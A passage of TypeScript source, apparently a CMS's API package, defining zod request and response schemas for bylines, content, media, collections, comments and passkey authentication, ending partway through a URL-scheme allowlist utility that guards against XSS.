cursorPaginationQuery, httpUrl } from \"./common.js\";\n\n/** Slug pattern: lowercase letters, digits, and hyphens; must start with a letter */\nconst bylineSlugPattern = /^[a-z][a-z0-9-]*$/;\n\nexport const bylineSummarySchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tslug: z.string(),\n\t\tdisplayName: z.string(),\n\t\tbio: z.string().nullable(),\n\t\tavatarMediaId: z.string().nullable(),\n\t\twebsiteUrl: z.string().nullable(),\n\t\tuserId: z.string().nullable(),\n\t\tisGuest: z.boolean(),\n\t\tcreatedAt: z.string(),\n\t\tupdatedAt: z.string(),\n\t})\n\t.meta({ id: \"BylineSummary\" });\n\nexport const bylineCreditSchema = z\n\t.object({\n\t\tbyline: bylineSummarySchema,\n\t\tsortOrder: z.number().int(),\n\t\troleLabel: z.string().nullable(),\n\t\tsource: z.enum([\"explicit\", \"inferred\"]).optional().meta({\n\t\t\tdescription: \"Whether this credit was explicitly assigned or inferred from authorId\",\n\t\t}),\n\t})\n\t.meta({ id: \"BylineCredit\" });\n\nexport const contentBylineInputSchema = z\n\t.object({\n\t\tbylineId: z.string().min(1),\n\t\troleLabel: z.string().nullish(),\n\t})\n\t.meta({ id: \"ContentBylineInput\" });\n\nexport const bylinesListQuery = cursorPaginationQuery\n\t.extend({\n\t\tsearch: z.string().optional(),\n\t\tisGuest: z.coerce.boolean().optional(),\n\t\tuserId: z.string().optional(),\n\t})\n\t.meta({ id: \"BylinesListQuery\" });\n\nexport const bylineCreateBody = z\n\t.object({\n\t\tslug: z\n\t\t\t.string()\n\t\t\t.min(1)\n\t\t\t.regex(bylineSlugPattern, \"Slug must contain only lowercase letters, digits, and hyphens\"),\n\t\tdisplayName: z.string().min(1),\n\t\tbio: z.string().nullish(),\n\t\tavatarMediaId: z.string().nullish(),\n\t\twebsiteUrl: httpUrl.nullish(),\n\t\tuserId: z.string().nullish(),\n\t\tisGuest: z.boolean().optional(),\n\t})\n\t.meta({ id: \"BylineCreateBody\" });\n\nexport const bylineUpdateBody = z\n\t.object({\n\t\tslug: z\n\t\t\t.string()\n\t\t\t.min(1)\n\t\t\t.regex(bylineSlugPattern, \"Slug must contain only lowercase letters, digits, and hyphens\")\n\t\t\t.optional(),\n\t\tdisplayName: z.string().min(1).optional(),\n\t\tbio: z.string().nullish(),\n\t\tavatarMediaId: z.string().nullish(),\n\t\twebsiteUrl: httpUrl.nullish(),\n\t\tuserId: z.string().nullish(),\n\t\tisGuest: z.boolean().optional(),\n\t})\n\t.meta({ id: \"BylineUpdateBody\" });\n\nexport const bylineListResponseSchema = z\n\t.object({\n\t\titems: z.array(bylineSummarySchema),\n\t\tnextCursor: z.string().optional(),\n\t})\n\t.meta({ id: \"BylineListResponse\" });\n","import { z } from \"zod\";\n\nimport { bylineSummarySchema, bylineCreditSchema, contentBylineInputSchema } from \"./bylines.js\";\nimport { cursorPaginationQuery, httpUrl, localeCode } from \"./common.js\";\n\n// ---------------------------------------------------------------------------\n// Content: Input schemas\n// ---------------------------------------------------------------------------\n\n/** SEO input — per-content meta fields */\nexport const contentSeoInput = z\n\t.object({\n\t\ttitle: z.string().max(200).nullish(),\n\t\tdescription: z.string().max(500).nullish(),\n\t\timage: z.string().nullish(),\n\t\tcanonical: httpUrl.nullish(),\n\t\tnoIndex: z.boolean().optional(),\n\t})\n\t.meta({ id: \"ContentSeoInput\" });\n\nexport const contentListQuery = cursorPaginationQuery\n\t.extend({\n\t\tstatus: z.string().optional(),\n\t\torderBy: z.string().optional(),\n\t\torder: z.enum([\"asc\", \"desc\"]).optional(),\n\t\tlocale: localeCode.optional(),\n\t})\n\t.meta({ id: \"ContentListQuery\" });\n\n/** ISO 8601 datetime for `publishedAt` / `createdAt`. Routes gate writes behind `content:publish_any`. */\nconst contentDateOverride = z.iso\n\t.datetime({ offset: true, message: \"must be an ISO 8601 datetime\" })\n\t.nullish();\n\nexport const contentCreateBody = z\n\t.object({\n\t\tdata: z.record(z.string(), z.unknown()),\n\t\tslug: z.string().nullish(),\n\t\tstatus: z.enum([\"draft\"]).optional(),\n\t\tbylines: z.array(contentBylineInputSchema).optional(),\n\t\tlocale: localeCode.optional(),\n\t\ttranslationOf: z.string().optional(),\n\t\tseo: contentSeoInput.optional(),\n\t\tpublishedAt: contentDateOverride,\n\t\tcreatedAt: contentDateOverride,\n\t})\n\t.meta({ id: \"ContentCreateBody\" });\n\nexport const contentUpdateBody = z\n\t.object({\n\t\tdata: z.record(z.string(), z.unknown()).optional(),\n\t\tslug: z.string().nullish(),\n\t\tstatus: z.enum([\"draft\"]).optional(),\n\t\tauthorId: z.string().nullish(),\n\t\tbylines: z.array(contentBylineInputSchema).optional(),\n\t\t_rev: z\n\t\t\t.string()\n\t\t\t.optional()\n\t\t\t.meta({ description: \"Opaque revision token for optimistic concurrency\" }),\n\t\tskipRevision: z.boolean().optional(),\n\t\tseo: contentSeoInput.optional(),\n\t\tpublishedAt: contentDateOverride,\n\t})\n\t.meta({ id: \"ContentUpdateBody\" });\n\nexport const contentScheduleBody = z\n\t.object({\n\t\tscheduledAt: z.string().min(1, \"scheduledAt is required\").meta({\n\t\t\tdescription: \"ISO 8601 datetime for scheduled publishing\",\n\t\t\texample: \"2025-06-15T09:00:00Z\",\n\t\t}),\n\t})\n\t.meta({ id: \"ContentScheduleBody\" });\n\nexport const contentPublishBody = z\n\t.object({\n\t\t// .optional() rather than .nullish(): publishing has no semantic\n\t\t// meaning for `null` (you can't \"clear\" a publish timestamp by\n\t\t// publishing). Tightening the schema here means callers either\n\t\t// pass a valid datetime or omit the field, and the route doesn't\n\t\t// have to silently drop a null that snuck through.\n\t\tpublishedAt: z.iso\n\t\t\t.datetime({ offset: true, message: \"must be an ISO 8601 datetime\" })\n\t\t\t.optional()\n\t\t\t.meta({\n\t\t\t\tdescription:\n\t\t\t\t\t\"Optional ISO 8601 datetime to backdate the publish (e.g. when migrating content). Requires content:publish_any permission. Without this, existing published_at is preserved on re-publish.\",\n\t\t\t}),\n\t})\n\t.meta({ id: \"ContentPublishBody\" });\n\nexport const contentPreviewUrlBody = z\n\t.object({\n\t\texpiresIn: z.union([z.string(), z.number()]).optional(),\n\t\tpathPattern: z.string().optional(),\n\t})\n\t.meta({ id: \"ContentPreviewUrlBody\" });\n\nexport const contentTermsBody = z\n\t.object({\n\t\ttermIds: z.array(z.string()),\n\t})\n\t.meta({ id: \"ContentTermsBody\" });\n\nexport const contentTrashQuery = cursorPaginationQuery;\n\n// ---------------------------------------------------------------------------\n// Content: Response schemas\n// ---------------------------------------------------------------------------\n\n/** SEO metadata on a content item */\nexport const contentSeoSchema = z\n\t.object({\n\t\ttitle: z.string().nullable(),\n\t\tdescription: z.string().nullable(),\n\t\timage: z.string().nullable(),\n\t\tcanonical: z.string().nullable(),\n\t\tnoIndex: z.boolean(),\n\t})\n\t.meta({ id: \"ContentSeo\" });\n\n/** A single content item as returned by the API */\nexport const contentItemSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\ttype: z.string().meta({ description: \"Collection slug this item belongs to\" }),\n\t\tslug: z.string().nullable(),\n\t\tstatus: z.string().meta({ description: \"draft, published, or scheduled\" }),\n\t\tdata: z.record(z.string(), z.unknown()).meta({\n\t\t\tdescription: \"User-defined field values\",\n\t\t}),\n\t\tauthorId: z.string().nullable(),\n\t\tprimaryBylineId: z.string().nullable(),\n\t\tbyline: bylineSummarySchema.nullable().optional(),\n\t\tbylines: z.array(bylineCreditSchema).optional(),\n\t\tcreatedAt: z.string(),\n\t\tupdatedAt: z.string(),\n\t\tpublishedAt: z.string().nullable(),\n\t\tscheduledAt: z.string().nullable(),\n\t\tliveRevisionId: z.string().nullable(),\n\t\tdraftRevisionId: z.string().nullable(),\n\t\tversion: z.number().int(),\n\t\tlocale: z.string().nullable(),\n\t\ttranslationGroup: z.string().nullable(),\n\t\tseo: contentSeoSchema.optional(),\n\t})\n\t.meta({ id: \"ContentItem\" });\n\n/** Response for single content item endpoints (get, create, update) */\nexport const contentResponseSchema = z\n\t.object({\n\t\titem: contentItemSchema,\n\t\t_rev: z\n\t\t\t.string()\n\t\t\t.optional()\n\t\t\t.meta({ description: \"Opaque revision token for optimistic concurrency\" }),\n\t})\n\t.meta({ id: \"ContentResponse\" });\n\n/** Response for content list endpoints */\nexport const contentListResponseSchema = z\n\t.object({\n\t\titems: z.array(contentItemSchema),\n\t\tnextCursor: z.string().optional(),\n\t})\n\t.meta({ id: \"ContentListResponse\" });\n\n/** Trashed content item */\nexport const trashedContentItemSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\ttype: z.string(),\n\t\tslug: z.string().nullable(),\n\t\tstatus: z.string(),\n\t\tdata: z.record(z.string(), z.unknown()),\n\t\tauthorId: z.string().nullable(),\n\t\tcreatedAt: z.string(),\n\t\tupdatedAt: z.string(),\n\t\tpublishedAt: z.string().nullable(),\n\t\tdeletedAt: z.string(),\n\t})\n\t.meta({ id: \"TrashedContentItem\" });\n\n/** Response for trashed content list */\nexport const trashedContentListResponseSchema = z\n\t.object({\n\t\titems: z.array(trashedContentItemSchema),\n\t\tnextCursor: z.string().optional(),\n\t})\n\t.meta({ id: \"TrashedContentListResponse\" });\n\n/** Response for content compare (live vs draft) */\nexport const contentCompareResponseSchema = z\n\t.object({\n\t\thasChanges: z.boolean(),\n\t\tlive: z.record(z.string(), z.unknown()).nullable(),\n\t\tdraft: z.record(z.string(), z.unknown()).nullable(),\n\t})\n\t.meta({ id: \"ContentCompareResponse\" });\n\n/** Translation summary for a content item */\nexport const contentTranslationSchema = z.object({\n\tid: z.string(),\n\tlocale: z.string().nullable(),\n\tslug: z.string().nullable(),\n\tstatus: z.string(),\n\tupdatedAt: z.string(),\n});\n\n/** Response for content translations endpoint */\nexport const contentTranslationsResponseSchema = z\n\t.object({\n\t\ttranslationGroup: z.string(),\n\t\ttranslations: z.array(contentTranslationSchema),\n\t})\n\t.meta({ id: \"ContentTranslationsResponse\" });\n","import { z } from \"zod\";\n\nimport { cursorPaginationQuery } from \"./common.js\";\n\n// ---------------------------------------------------------------------------\n// Media: Input schemas\n// ---------------------------------------------------------------------------\n\n/**\n * Accepts a comma-separated string (from URL query params) or an array of\n * strings (from JSON body or programmatic use) and normalises to string[].\n */\nconst mimeTypeFilter = z\n\t.union([z.string(), z.array(z.string())])\n\t.transform((v) => {\n\t\tconst arr = Array.isArray(v) ? v : v.split(\",\");\n\t\treturn arr.map((s) => s.trim()).filter((s) => s.length > 0);\n\t})\n\t.optional();\n\nexport const mediaListQuery = cursorPaginationQuery\n\t.extend({\n\t\tmimeType: mimeTypeFilter,\n\t})\n\t.meta({ id: \"MediaListQuery\" });\n\nexport const mediaUpdateBody = z\n\t.object({\n\t\talt: z.string().optional(),\n\t\tcaption: z.string().optional(),\n\t\twidth: z.number().int().positive().optional(),\n\t\theight: z.number().int().positive().optional(),\n\t})\n\t.meta({ id: \"MediaUpdateBody\" });\n\n/** Default maximum allowed file upload size (50 MB). */\nexport const DEFAULT_MAX_UPLOAD_SIZE = 50 * 1024 * 1024;\n\nexport function formatFileSize(bytes: number): string {\n\tif (bytes < 1024) return `${bytes}B`;\n\tif (bytes < 1024 * 1024) return `${Math.floor(bytes / 1024)}KB`;\n\treturn `${Math.floor(bytes / 1024 / 1024)}MB`;\n}\n\n// Matches a full MIME type (type/subtype) with an optional semicolon-delimited\n// parameter section. Forbids CR/LF to prevent header injection.\nconst CONTENT_TYPE_RE = /^[a-z0-9][a-z0-9!#$&^_+\\-.]*\\/[a-z0-9!#$&^_+\\-.]+(\\s*;[^\\r\\n]*)?$/i;\n\nexport function mediaUploadUrlBody(maxSize: number) {\n\tif (!Number.isFinite(maxSize) || maxSize <= 0) {\n\t\tthrow new Error(`EmDash: maxUploadSize must be a positive finite number, got ${maxSize}`);\n\t}\n\treturn z\n\t\t.object({\n\t\t\tfilename: z.string().min(1, \"filename is required\"),\n\t\t\tcontentType: z\n\t\t\t\t.string()\n\t\t\t\t.min(1, \"contentType is required\")\n\t\t\t\t.regex(CONTENT_TYPE_RE, \"Invalid content type\"),\n\t\t\tsize: z\n\t\t\t\t.number()\n\t\t\t\t.int()\n\t\t\t\t.positive()\n\t\t\t\t.max(maxSize, `File size must not exceed ${formatFileSize(maxSize)}`),\n\t\t\tcontentHash: z.string().optional(),\n\t\t\tfieldId: z.string().optional(),\n\t\t})\n\t\t.meta({ id: \"MediaUploadUrlBody\" });\n}\n\nexport const mediaConfirmBody = z\n\t.object({\n\t\tsize: z.number().int().positive().optional(),\n\t\twidth: z.number().int().positive().optional(),\n\t\theight: z.number().int().positive().optional(),\n\t})\n\t.meta({ id: \"MediaConfirmBody\" });\n\nexport const mediaProviderListQuery = cursorPaginationQuery\n\t.extend({\n\t\tquery: z.string().optional(),\n\t\tmimeType: mimeTypeFilter,\n\t})\n\t.meta({ id: \"MediaProviderListQuery\" });\n\n// ---------------------------------------------------------------------------\n// Media: Response schemas\n// ---------------------------------------------------------------------------\n\nconst mediaStatusSchema = z.enum([\"pending\", \"ready\", \"failed\"]);\n\nexport const mediaItemSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tfilename: z.string(),\n\t\tmimeType: z.string(),\n\t\tsize: z.number().nullable(),\n\t\twidth: z.number().nullable(),\n\t\theight: z.number().nullable(),\n\t\talt: z.string().nullable(),\n\t\tcaption: z.string().nullable(),\n\t\tstorageKey: z.string(),\n\t\tstatus: mediaStatusSchema,\n\t\tcontentHash: z.string().nullable(),\n\t\tblurhash: z.string().nullable(),\n\t\tdominantColor: z.string().nullable(),\n\t\tcreatedAt: z.string(),\n\t\tauthorId: z.string().nullable(),\n\t})\n\t.meta({ id: \"MediaItem\" });\n\nexport const mediaResponseSchema = z\n\t.object({ item: mediaItemSchema })\n\t.meta({ id: \"MediaResponse\" });\n\nexport const mediaListResponseSchema = z\n\t.object({\n\t\titems: z.array(mediaItemSchema),\n\t\tnextCursor: z.string().optional(),\n\t})\n\t.meta({ id: \"MediaListResponse\" });\n\nexport const mediaUploadUrlResponseSchema = z\n\t.object({\n\t\tuploadUrl: z.string(),\n\t\tmethod: z.literal(\"PUT\"),\n\t\theaders: z.record(z.string(), z.string()),\n\t\tmediaId: z.string(),\n\t\tstorageKey: z.string(),\n\t\texpiresAt: z.string(),\n\t})\n\t.meta({ id: \"MediaUploadUrlResponse\" });\n\nexport const mediaExistingResponseSchema = z\n\t.object({\n\t\texisting: z.literal(true),\n\t\tmediaId: z.string(),\n\t\tstorageKey: z.string(),\n\t\turl: z.string(),\n\t})\n\t.meta({ id: \"MediaExistingResponse\" });\n\nexport const mediaConfirmResponseSchema = z\n\t.object({\n\t\titem: mediaItemSchema.extend({ url: z.string() }),\n\t})\n\t.meta({ id: \"MediaConfirmResponse\" });\n","import { z } from \"zod\";\n\nimport { slugPattern } from \"./common.js\";\n\n// ---------------------------------------------------------------------------\n// Schema (collections & fields): Input schemas\n// ---------------------------------------------------------------------------\n\nconst collectionSupportValues = z.enum([\"drafts\", \"revisions\", \"preview\", \"scheduling\", \"search\"]);\n\nconst collectionSourcePattern = /^(template:.+|import:.+|manual|discovered|seed)$/;\n\nconst fieldTypeValues = z.enum([\n\t\"string\",\n\t\"text\",\n\t\"url\",\n\t\"number\",\n\t\"integer\",\n\t\"boolean\",\n\t\"datetime\",\n\t\"select\",\n\t\"multiSelect\",\n\t\"portableText\",\n\t\"image\",\n\t\"file\",\n\t\"reference\",\n\t\"json\",\n\t\"slug\",\n\t\"repeater\",\n]);\n\nconst repeaterSubFieldSchema = z.object({\n\tslug: z.string().min(1).max(63).regex(slugPattern, \"Invalid slug format\"),\n\ttype: z.enum([\"string\", \"text\", \"number\", \"integer\", \"boolean\", \"datetime\", \"select\"]),\n\tlabel: z.string().min(1),\n\trequired: z.boolean().optional(),\n\toptions: z.array(z.string()).optional(),\n});\n\nconst fieldValidation = z\n\t.object({\n\t\trequired: z.boolean().optional(),\n\t\tmin: z.number().optional(),\n\t\tmax: z.number().optional(),\n\t\tminLength: z.number().int().min(0).optional(),\n\t\tmaxLength: z.number().int().min(0).optional(),\n\t\tpattern: z.string().optional(),\n\t\toptions: z.array(z.string()).optional(),\n\t\tsubFields: z.array(repeaterSubFieldSchema).min(1).optional(),\n\t\tminItems: z.number().int().min(0).optional(),\n\t\tmaxItems: z.number().int().min(1).optional(),\n\t\tallowedMimeTypes: z\n\t\t\t.array(\n\t\t\t\tz\n\t\t\t\t\t.string()\n\t\t\t\t\t.regex(/^[a-z0-9][a-z0-9!#$&^_+\\-.]*\\/[a-z0-9!#$&^_+\\-.]*$/i, \"Invalid MIME type\"),\n\t\t\t)\n\t\t\t.min(1, \"allowedMimeTypes must not be empty — omit the field to allow all types\")\n\t\t\t.max(64, \"allowedMimeTypes may contain at most 64 entries\")\n\t\t\t.optional(),\n\t})\n\t.optional();\n\nconst fieldWidgetOptions = z.record(z.string(), z.unknown()).optional();\n\nexport const createCollectionBody = z\n\t.object({\n\t\tslug: z.string().min(1).max(63).regex(slugPattern, \"Invalid slug format\"),\n\t\tlabel: z.string().min(1),\n\t\tlabelSingular: z.string().optional(),\n\t\tdescription: z.string().optional(),\n\t\ticon: z.string().optional(),\n\t\tsupports: z.array(collectionSupportValues).optional(),\n\t\tsource: z.string().regex(collectionSourcePattern).optional(),\n\t\turlPattern: z.string().optional(),\n\t\thasSeo: z.boolean().optional(),\n\t})\n\t.meta({ id: \"CreateCollectionBody\" });\n\nexport const updateCollectionBody = z\n\t.object({\n\t\tlabel: z.string().min(1).optional(),\n\t\tlabelSingular: z.string().optional(),\n\t\tdescription: z.string().optional(),\n\t\ticon: z.string().optional(),\n\t\tsupports: z.array(collectionSupportValues).optional(),\n\t\turlPattern: z.string().nullish(),\n\t\thasSeo: z.boolean().optional(),\n\t\tcommentsEnabled: z.boolean().optional(),\n\t\tcommentsModeration: z.enum([\"all\", \"first_time\", \"none\"]).optional(),\n\t\tcommentsClosedAfterDays: z.number().int().min(0).optional(),\n\t\tcommentsAutoApproveUsers: z.boolean().optional(),\n\t})\n\t.meta({ id: \"UpdateCollectionBody\" });\n\nexport const createFieldBody = z\n\t.object({\n\t\tslug: z.string().min(1).max(63).regex(slugPattern, \"Invalid slug format\"),\n\t\tlabel: z.string().min(1),\n\t\ttype: fieldTypeValues,\n\t\trequired: z.boolean().optional(),\n\t\tunique: z.boolean().optional(),\n\t\tdefaultValue: z.unknown().optional(),\n\t\tvalidation: fieldValidation.nullable(),\n\t\twidget: z.string().optional(),\n\t\toptions: fieldWidgetOptions,\n\t\tsortOrder: z.number().int().min(0).optional(),\n\t\tsearchable: z.boolean().optional(),\n\t\ttranslatable: z.boolean().optional(),\n\t})\n\t.meta({ id: \"CreateFieldBody\" });\n\nexport const updateFieldBody = z\n\t.object({\n\t\tlabel: z.string().min(1).optional(),\n\t\trequired: z.boolean().optional(),\n\t\tunique: z.boolean().optional(),\n\t\tdefaultValue: z.unknown().optional(),\n\t\tvalidation: fieldValidation.nullable(),\n\t\twidget: z.string().optional(),\n\t\toptions: fieldWidgetOptions,\n\t\tsortOrder: z.number().int().min(0).optional(),\n\t\tsearchable: z.boolean().optional(),\n\t\ttranslatable: z.boolean().optional(),\n\t})\n\t.meta({ id: \"UpdateFieldBody\" });\n\nexport const fieldReorderBody = z\n\t.object({\n\t\tfieldSlugs: z.array(z.string().min(1)),\n\t})\n\t.meta({ id: \"FieldReorderBody\" });\n\nexport const orphanRegisterBody = z\n\t.object({\n\t\tlabel: z.string().optional(),\n\t\tlabelSingular: z.string().optional(),\n\t\tdescription: z.string().optional(),\n\t})\n\t.meta({ id: \"OrphanRegisterBody\" });\n\nexport const schemaExportQuery = z.object({\n\tformat: z.string().optional(),\n});\n\nexport const collectionGetQuery = z.object({\n\tincludeFields: z\n\t\t.string()\n\t\t.transform((v) => v === \"true\")\n\t\t.optional(),\n});\n\n// ---------------------------------------------------------------------------\n// Schema: Response schemas\n// ---------------------------------------------------------------------------\n\nexport const collectionSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tslug: z.string(),\n\t\tlabel: z.string(),\n\t\tlabelSingular: z.string().nullable(),\n\t\tdescription: z.string().nullable(),\n\t\ticon: z.string().nullable(),\n\t\tsupports: z.array(z.string()),\n\t\tsource: z.string().nullable(),\n\t\turlPattern: z.string().nullable(),\n\t\thasSeo: z.boolean(),\n\t\tcreatedAt: z.string(),\n\t\tupdatedAt: z.string(),\n\t})\n\t.meta({ id: \"Collection\" });\n\nexport const fieldSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tcollectionId: z.string(),\n\t\tslug: z.string(),\n\t\tlabel: z.string(),\n\t\ttype: fieldTypeValues,\n\t\trequired: z.boolean(),\n\t\tunique: z.boolean(),\n\t\tdefaultValue: z.unknown().nullable(),\n\t\tvalidation: z.record(z.string(), z.unknown()).nullable(),\n\t\twidget: z.string().nullable(),\n\t\toptions: z.record(z.string(), z.unknown()).nullable(),\n\t\tsortOrder: z.number().int(),\n\t\tsearchable: z.boolean(),\n\t\ttranslatable: z.boolean(),\n\t\tcreatedAt: z.string(),\n\t\tupdatedAt: z.string(),\n\t})\n\t.meta({ id: \"Field\" });\n\nexport const collectionResponseSchema = z\n\t.object({ item: collectionSchema })\n\t.meta({ id: \"CollectionResponse\" });\n\nexport const collectionWithFieldsResponseSchema = z\n\t.object({\n\t\titem: collectionSchema.extend({ fields: z.array(fieldSchema) }),\n\t})\n\t.meta({ id: \"CollectionWithFieldsResponse\" });\n\nexport const collectionListResponseSchema = z\n\t.object({ items: z.array(collectionSchema) })\n\t.meta({ id: \"CollectionListResponse\" });\n\nexport const fieldResponseSchema = z.object({ item: fieldSchema }).meta({ id: \"FieldResponse\" });\n\nexport const fieldListResponseSchema = z\n\t.object({ items: z.array(fieldSchema) })\n\t.meta({ id: \"FieldListResponse\" });\n\nexport const orphanedTableSchema = z\n\t.object({\n\t\tslug: z.string(),\n\t\ttableName: z.string(),\n\t\trowCount: z.number().int(),\n\t})\n\t.meta({ id: \"OrphanedTable\" });\n\nexport const orphanedTableListResponseSchema = z\n\t.object({ items: z.array(orphanedTableSchema) })\n\t.meta({ id: \"OrphanedTableListResponse\" });\n","import { z } from \"zod\";\n\n// ---------------------------------------------------------------------------\n// Comments: Input schemas\n// ---------------------------------------------------------------------------\n\nexport const createCommentBody = z\n\t.object({\n\t\tauthorName: z.string().min(1).max(100),\n\t\tauthorEmail: z.string().email(),\n\t\tbody: z.string().min(1).max(5000),\n\t\tparentId: z.string().optional(),\n\t\t/** Honeypot field — hidden in the form, filled only by bots */\n\t\twebsite_url: z.string().optional(),\n\t})\n\t.meta({ id: \"CreateCommentBody\" });\n\nexport const commentStatusBody = z\n\t.object({\n\t\tstatus: z.enum([\"approved\", \"pending\", \"spam\", \"trash\"]),\n\t})\n\t.meta({ id: \"CommentStatusBody\" });\n\nexport const commentBulkBody = z\n\t.object({\n\t\tids: z.array(z.string().min(1)).min(1).max(100),\n\t\taction: z.enum([\"approve\", \"spam\", \"trash\", \"delete\"]),\n\t})\n\t.meta({ id: \"CommentBulkBody\" });\n\nexport const commentListQuery = z\n\t.object({\n\t\tstatus: z.enum([\"pending\", \"approved\", \"spam\", \"trash\"]).optional(),\n\t\tcollection: z.string().optional(),\n\t\tsearch: z.string().optional(),\n\t\tlimit: z.coerce.number().int().min(1).max(100).optional().default(50),\n\t\tcursor: z.string().max(2048).optional(),\n\t})\n\t.meta({ id: \"CommentListQuery\" });\n\n// ---------------------------------------------------------------------------\n// Comments: Response schemas\n// ---------------------------------------------------------------------------\n\nconst commentStatusValues = z.enum([\"pending\", \"approved\", \"spam\", \"trash\"]);\n\n/**\n * Public-facing comment (no email/IP).\n *\n * `replies` is recursive in practice (each reply can have replies), but we\n * model it as a single level here to avoid circular type inference issues\n * with tsgo. OpenAPI consumers should treat replies as the same shape.\n */\nexport const publicCommentSchema: z.ZodObject<{\n\tid: z.ZodString;\n\tauthorName: z.ZodString;\n\tisRegisteredUser: z.ZodBoolean;\n\tbody: z.ZodString;\n\tparentId: z.ZodNullable<z.ZodString>;\n\tcreatedAt: z.ZodString;\n\treplies: z.ZodOptional<z.ZodArray<z.ZodAny>>;\n}> = z\n\t.object({\n\t\tid: z.string(),\n\t\tauthorName: z.string(),\n\t\tisRegisteredUser: z.boolean(),\n\t\tbody: z.string(),\n\t\tparentId: z.string().nullable(),\n\t\tcreatedAt: z.string(),\n\t\treplies: z.array(z.any()).optional(),\n\t})\n\t.meta({ id: \"PublicComment\" });\n\n/** Admin comment with full details */\nexport const commentSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tcollection: z.string(),\n\t\tcontentId: z.string(),\n\t\tauthorName: z.string(),\n\t\tauthorEmail: z.string(),\n\t\tbody: z.string(),\n\t\tstatus: commentStatusValues,\n\t\tparentId: z.string().nullable(),\n\t\tipHash: z.string().nullable(),\n\t\tcreatedAt: z.string(),\n\t\tupdatedAt: z.string(),\n\t})\n\t.meta({ id: \"Comment\" });\n\nexport const publicCommentListResponseSchema = z\n\t.object({\n\t\titems: z.array(publicCommentSchema),\n\t\tnextCursor: z.string().optional(),\n\t\ttotal: z.number().int(),\n\t})\n\t.meta({ id: \"PublicCommentListResponse\" });\n\nexport const adminCommentListResponseSchema = z\n\t.object({\n\t\titems: z.array(commentSchema),\n\t\tnextCursor: z.string().optional(),\n\t})\n\t.meta({ id: \"AdminCommentListResponse\" });\n\nexport const commentCountsResponseSchema = z\n\t.object({\n\t\tpending: z.number().int(),\n\t\tapproved: z.number().int(),\n\t\tspam: z.number().int(),\n\t\ttrash: z.number().int(),\n\t})\n\t.meta({ id: \"CommentCountsResponse\" });\n\nexport const commentBulkResponseSchema = z\n\t.object({ affected: z.number().int() })\n\t.meta({ id: \"CommentBulkResponse\" });\n","import { z } from \"zod\";\n\nimport { roleLevel } from \"./common.js\";\n\n// ---------------------------------------------------------------------------\n// WebAuthn credential schemas (matching @emdash-cms/auth/passkey types)\n// ---------------------------------------------------------------------------\n\nconst authenticatorTransport = z.enum([\"usb\", \"nfc\", \"ble\", \"internal\", \"hybrid\"]);\n\n/** RegistrationResponse — sent by the browser after navigator.credentials.create() */\nconst registrationCredential = z.object({\n\tid: z.string(),\n\trawId: z.string(),\n\ttype: z.literal(\"public-key\"),\n\tresponse: z.object({\n\t\tclientDataJSON: z.string(),\n\t\tattestationObject: z.string(),\n\t\ttransports: z.array(authenticatorTransport).optional(),\n\t}),\n\tauthenticatorAttachment: z.enum([\"platform\", \"cross-platform\"]).optional(),\n});\n\n/** AuthenticationResponse — sent by the browser after navigator.credentials.get() */\nconst authenticationCredential = z.object({\n\tid: z.string(),\n\trawId: z.string(),\n\ttype: z.literal(\"public-key\"),\n\tresponse: z.object({\n\t\tclientDataJSON: z.string(),\n\t\tauthenticatorData: z.string(),\n\t\tsignature: z.string(),\n\t\tuserHandle: z.string().optional(),\n\t}),\n\tauthenticatorAttachment: z.enum([\"platform\", \"cross-platform\"]).optional(),\n});\n\n// ---------------------------------------------------------------------------\n// Auth: Input schemas\n// ---------------------------------------------------------------------------\n\nexport const signupRequestBody = z\n\t.object({\n\t\temail: z.string().email(),\n\t})\n\t.meta({ id: \"SignupRequestBody\" });\n\nexport const signupCompleteBody = z\n\t.object({\n\t\ttoken: z.string().min(1),\n\t\tcredential: registrationCredential,\n\t\tname: z.string().optional(),\n\t})\n\t.meta({ id: \"SignupCompleteBody\" });\n\nexport const inviteCreateBody = z\n\t.object({\n\t\temail: z.string().email(),\n\t\trole: roleLevel.optional(),\n\t})\n\t.meta({ id: \"InviteCreateBody\" });\n\nexport const inviteRegisterOptionsBody = z\n\t.object({\n\t\ttoken: z.string().min(1),\n\t\tname: z.string().optional(),\n\t})\n\t.meta({ id: \"InviteRegisterOptionsBody\" });\n\nexport const inviteCompleteBody = z\n\t.object({\n\t\ttoken: z.string().min(1),\n\t\tcredential: registrationCredential,\n\t\tname: z.string().optional(),\n\t})\n\t.meta({ id: \"InviteCompleteBody\" });\n\nexport const magicLinkSendBody = z\n\t.object({\n\t\temail: z.string().email(),\n\t})\n\t.meta({ id: \"MagicLinkSendBody\" });\n\nexport const passkeyOptionsBody = z\n\t.object({\n\t\temail: z.string().email().optional(),\n\t})\n\t.meta({ id: \"PasskeyOptionsBody\" });\n\nexport const passkeyVerifyBody = z\n\t.object({\n\t\tcredential: authenticationCredential,\n\t})\n\t.meta({ id: \"PasskeyVerifyBody\" });\n\nexport const passkeyRegisterOptionsBody = z\n\t.object({\n\t\tname: z.string().optional(),\n\t})\n\t.meta({ id: \"PasskeyRegisterOptionsBody\" });\n\nexport const passkeyRegisterVerifyBody = z\n\t.object({\n\t\tcredential: registrationCredential,\n\t\tname: z.string().optional(),\n\t})\n\t.meta({ id: \"PasskeyRegisterVerifyBody\" });\n\nexport const passkeyRenameBody = z\n\t.object({\n\t\tname: z.string().min(1),\n\t})\n\t.meta({ id: \"PasskeyRenameBody\" });\n\nexport const authMeActionBody = z\n\t.object({\n\t\taction: z.string().min(1),\n\t})\n\t.meta({ id: \"AuthMeActionBody\" });\n","/**\n * URL scheme validation utilities\n *\n * Prevents XSS via dangerous URL schemes (javascript:, data:, vbscript:, etc.)\n * by allowlisting known-safe schemes before rendering into href attributes.\n */\n\n/**\n * Matches URLs that are safe to render in href attributes.\n *\n * Allowed:\n * - http:// and https://\n * - mailto: and tel:\n * - Relative paths (starting with /)\n * - Fragment links (starting with #)\n * - Protocol-relative URLs are NOT allowed (starting with //) as they can\n * redirect to attacker-controlled hosts.\n */\nconst SAFE_URL_SCHEME_RE = /^(https?:|mailto:|tel:|\\/(?!\\/)|#)/i;\n\n/**\n * Returns the URL unchanged if it uses a safe scheme, otherwise returns \"#\".\n *\n * Use this at the render layer as the primary defense against XSS via\n * dangerous URL schemes like 